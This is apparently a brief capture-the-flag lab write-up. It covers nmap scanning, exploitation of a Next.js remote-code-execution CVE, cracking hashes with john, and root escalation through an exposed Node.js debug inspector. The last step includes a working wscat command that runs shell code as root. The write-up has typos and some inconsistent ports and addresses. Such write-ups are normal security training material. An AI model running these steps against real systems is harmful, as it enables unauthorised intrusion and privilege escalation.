
Using nmap I found 2 open ports, 22 and 3000.
nmap -p- --open -vvv -sS --min-rate 5000 -Pn 10.129.2.186 -oG allPorts.txt
nmap -p22,3000 -sCV 10.129.2.189
Here, I found an ssh server and a http service in 5000.

Using wappalyzer, I found the nextjs version.
This version is vulnerable to CVE-2025-55182 (React2shell).
Using an exploit, Im able to execute code and get a shell.
Inside the web directory, I found a database.
I downloaded in my local machine and found 2 hashes.

Usign john, I cracked the hashes.
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
With this, I found one of the passwords.
Using this password, I was able to log as enginer and read the user password.

Engenier user is part of lxd group.
But lxd is not installed, and I cant install it.
After more enumeration, I found a node.js process with inspect enabled.
I confirm that this is a debug instance, wich can allow me to execute code.
Using ssh I fordguarted the service.
ssh -L 9229:localhost:9229 engineer@10.129.2.186
Now, using wscat, I can execute code as root.
wscat -c ws://127.0.0.1:9229/bf66e655-8c31-41b6-98d1-9b9734408bce -x '{"id":1,"method":"Runtime.evaluate","params":{"expression":"process.mainModule.require(\"child_process\").execSync(\"id\").toString()"}}' -w 2
